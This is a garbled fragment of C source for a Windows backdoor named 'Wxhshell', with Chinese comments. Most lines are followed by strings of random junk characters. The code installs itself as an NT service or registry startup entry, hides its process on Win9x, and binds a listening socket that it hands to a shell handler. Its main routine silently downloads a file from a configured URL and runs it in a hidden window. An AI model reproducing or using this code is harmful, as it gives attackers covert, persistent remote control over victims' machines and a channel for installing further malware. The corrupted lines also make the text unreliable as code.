DWORD BasePriority; POU}/e!Ua
ULONG UniqueProcessId; e&X>F"z2
ULONG InheritedFromUniqueProcessId; lj &>cScC
} PROCESS_BASIC_INFORMATION; Zzd/K^gg
,=[*Lo>O
PROCNTQSIP NtQueryInformationProcess; $R{8z-,Q
g8pm2o@S
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L*]E`Xxd9
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >HkhAJhW
M:ai<TZ]
HANDLE hProcess; m$y]Lf
PROCESS_BASIC_INFORMATION pbi; p {%t q$}.
?)tK!'
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E1>/R
if(NULL == hInst ) return 0; m[2'd
S-E++f9D~
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6 o[/F3`
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,&a`d}g&G
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oJaAM|7uv
V"d=.Hb>
if (!NtQueryInformationProcess) return 0; Pl~P- n
Gm=>!.p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^>r^3C)_-
if(!hProcess) return 0; /3^P_\,>f
{sS_|sX
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,9/5T: 2
q/6UK =
CloseHandle(hProcess); -Fwh3F4g
?J|4l[x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'm1. X-$V
if(hProcess==NULL) return 0; /! ^P)yU,
~mILA->F
HMODULE hMod; u2qV 6/
char procName[255]; MguL$W&l
unsigned long cbNeeded; aMCO"66b
j|'R$|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {},;-%xE
Sr
y,@p)
CloseHandle(hProcess); Q(\ wx
r*cjOrvI
if(strstr(procName,"services")) return 1; // 以服务启动 W L~`u
0U&dq#
return 0; // 注册表启动 _Dq Qfc%
} !7` [i
\5[-Ml
// 主模块 y1(P<7:t?
int StartWxhshell(LPSTR lpCmdLine) ujx-jIhT_
{ lIDl1Z@Z
SOCKET wsl; ^LO]Z
BOOL val=TRUE; 3YTIH2z5
int port=0; 5
;vC(Go
struct sockaddr_in door; 8gpB z'/,
Tt6{WDscZ
if(wscfg.ws_autoins) Install(); r>3^kL5UI
TU%"jb5
port=atoi(lpCmdLine); Lpm?#g uR
b:B[3|
if(port<=0) port=wscfg.ws_port; T]2U fi.
U1^l+G^,~
WSADATA data; k&DGJ5m$.
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !`C?nY
tBl#o ^
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /VtlG+dLl
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w4OW4J#
door.sin_family = AF_INET; UA0tFeH
door.sin_addr.s_addr = inet_addr("127.0.0.1"); YmCbxYa7
door.sin_port = htons(port); 4_<
nQ9K
4[l^0
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <$C<Ba?;?
closesocket(wsl); !1-&Y'+
return 1; V
[4n'LcE
} DNho%Xk
9 }n,@@
if(listen(wsl,2) == INVALID_SOCKET) { W8.j/K:
closesocket(wsl); /W9
&Ke
return 1; 4I.1D2 1jA
} oWrE2U;
Wxhshell(wsl); 83?1<v0%
WSACleanup(); X<K9L7/*
^n71'MW
return 0; <[8@5 ?&&
"
~n3iNkP
} :C}H y
yam}x*O\xn
// 以NT服务方式启动 rys<-i(
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S2}Z&X(
{ ZV#$Z
DWORD status = 0; `G0*l|m>
DWORD specificError = 0xfffffff; n'3u ]~7^
V(I7*_ZFl
serviceStatus.dwServiceType = SERVICE_WIN32; @$ftG
serviceStatus.dwCurrentState = SERVICE_START_PENDING; /yt7#!tm+
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {tmKCG
serviceStatus.dwWin32ExitCode = 0; ,]U[W
serviceStatus.dwServiceSpecificExitCode = 0; l qXc
serviceStatus.dwCheckPoint = 0; Ge~,[If+
serviceStatus.dwWaitHint = 0; |Pf(J;'[
D@5s8xv
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M4H"].Zm
if (hServiceStatusHandle==0) return; i?W]*V~ply
.S6ji~;r
status = GetLastError(); ~%KM3Vap
if (status!=NO_ERROR) 9RB`$5F;
{ '2wCP
EC
serviceStatus.dwCurrentState = SERVICE_STOPPED; -4%]QS
serviceStatus.dwCheckPoint = 0; <4sj@C
serviceStatus.dwWaitHint = 0; n`QO(pZ6+
serviceStatus.dwWin32ExitCode = status; \AHY[WKx
serviceStatus.dwServiceSpecificExitCode = specificError; ,M{Q}:$+4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rj&qh`
return; 'oCm.~;_
} p70,\&@3
Y^X:vI
serviceStatus.dwCurrentState = SERVICE_RUNNING; Np)ho8zU
serviceStatus.dwCheckPoint = 0; RCCv>o
serviceStatus.dwWaitHint = 0; qTS@D
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &!OGIYC(
} qlEFJ5;
E{I)]h
// 处理NT服务事件,比如:启动、停止 m6eFXP1U
VOID WINAPI NTServiceHandler(DWORD fdwControl) gs-@hR.,s0
{ !4pr{S
switch(fdwControl) Gb?g,>C
{ To">DOt
case SERVICE_CONTROL_STOP: P!9;} &
serviceStatus.dwWin32ExitCode = 0; $wgc vySx
serviceStatus.dwCurrentState = SERVICE_STOPPED; E0T&GR@.
serviceStatus.dwCheckPoint = 0; ?;+ ^
serviceStatus.dwWaitHint = 0; p}&Md-$1
{ y]<#%Fh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wge ho
} hRRkFz/0&
return; O%prD}x
case SERVICE_CONTROL_PAUSE: W?=$V>)
serviceStatus.dwCurrentState = SERVICE_PAUSED; 7Zo&+
break; PE|PwqX
case SERVICE_CONTROL_CONTINUE: zw,-.fmM#
serviceStatus.dwCurrentState = SERVICE_RUNNING; \a?K?v|8
break; RP(a,D|
case SERVICE_CONTROL_INTERROGATE: KS?mw`Nr
break; B%2L1T=
}; <_>.!9q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Hl8U
} &0JK38(
xM%`KP.8X
// 标准应用程序主函数 _HLC>pH~#
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /%5_~Jkr,
{ ;m''9z)2
E*OG-r
// 获取操作系统版本 YsZ{1W
OsIsNt=GetOsVer(); z'_&|-m
GetModuleFileName(NULL,ExeFile,MAX_PATH); .#sz|0
|7]?>-
// 从命令行安装 Yg[ v/[]
if(strpbrk(lpCmdLine,"iI")) Install(); 0hFH^2%UY
|>Z&S=\I)
// 下载执行文件 Z@}sCZ=#A
if(wscfg.ws_downexe) { abL/Y23
"
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FOc|*>aKP
WinExec(wscfg.ws_filenam,SW_HIDE); G
*ds4R?!
} TNJ<!6
:fRmUAK%
if(!OsIsNt) { Z^{+,$H@
// 如果时win9x,隐藏进程并且设置为注册表启动 ix^gAot
HideProc(); E2kW=6VO>|
StartWxhshell(lpCmdLine); QH4k!^
} TeKC} NW
else H_Iim[v#
if(StartFromService()) Jc`Rs"2
// 以服务方式启动 8^8>qSD1
StartServiceCtrlDispatcher(DispatchTable); A%h~Z
a
else ]7v81G5E
// 普通方式启动 sZ]'DH&_(
StartWxhshell(lpCmdLine); _2]O^$L
;CA ?eI
return 0; #FEa 5
}